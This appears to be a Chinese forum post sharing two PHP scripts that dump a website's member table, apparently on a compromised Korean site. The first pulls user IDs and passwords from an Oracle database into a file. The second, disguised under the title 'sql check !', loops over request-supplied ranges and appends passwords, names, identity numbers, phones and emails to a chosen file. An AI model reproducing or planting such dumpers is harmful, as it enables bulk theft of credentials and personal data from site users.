一个PHP导出oracle库的PHP代码

1. 
   
2. <?php
   
3. $conn=OCILogon("用户名","密码","(DESCRIPTION=(ADDRESS=(PROTOCOL =TCP)(HOST=IP)(PORT = 1521))(CONNECT_DATA =(SID=lcx)))");
   
4. 
   
5. //$sql="select * from all_tab_columns where table_name='MEMBER'";//Table Structure
   
6. $sql="select USER_ID,PASSWORD from MEMBER where IDX < 100"; //sql语句
   
7. $stmt = OCIParse($conn, $sql);
   
8. OCIExecute($stmt);
   
9. $rows = OCIFetchstatement($stmt,$results);
   
10. 
    
11. $keys = array_keys($results);
    
12. $table = "<table>\n <TR>\n";
    
13. foreach($keys as $key)
    
14. {
    
15. $table .= " <TH>$key</TH>\n";
    
16. }
    
17. $table .= " </TR>\n";
    
18. for($i=0;$i<$rows;$i++)
    
19. {
    
20. $table .= " <TR>";
    
21. foreach($results as $spalte)
    
22. {
    
23. $data = $spalte[$i];
    
24. $table .= " <TD>$data</TD>";
    
25. }
    
26. $table .=" </TR>";
    
27. }
    
28. echo $table;
    
29. $sStr="/home/lcx.htm";
    
30. fputs(fopen($sStr,'a+'),$table);
    
31. ?>
    

复制代码

第二种方法：

代码如下:

1. <meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
   
2. <title>sql check !</title>
   
3. <?
   
4. include $_SERVER['DOCUMENT_ROOT'] . "/_lib/common.lib.php";
   
5. ini_set('max_execution_time', 0);
   
6. if(!isset($a) || !isset($b)|| !isset($filename)){exit();}
   
7. for($i=$a;$i<$b;$i++)
   
8. {
   
9. $query = "select IDX,USER_ID,PASSWORD,NAME,SID1,SID2,PHONE,MOBILE,EMAIL,WORKPHONE from member where idx = $i";
   
10. $data = sql_fetch($query);
    
11. if ($data)
    
12. {
    
13. for ($ss=0; $ss<=count($data); $ss++)
    
14. {
    
15. $values .= "<td>".$data[$ss]."</td>";
    
16. }
    
17. }
    
18. fputs(fopen("$filename","a+"),"<table><tr>".$values."</tr></table>\r\n");
    
19. unset($values);
    
20. }
    
21. ?>
    

复制代码

因为不会oracle，也是一行一行照抄来的，
数据库连接也没接触过，就直接用他自带的吧，
没用foreach 循环数组，很奇怪，总是输出2个重复的字段值，没办法就改用for了
qq:57112848 无名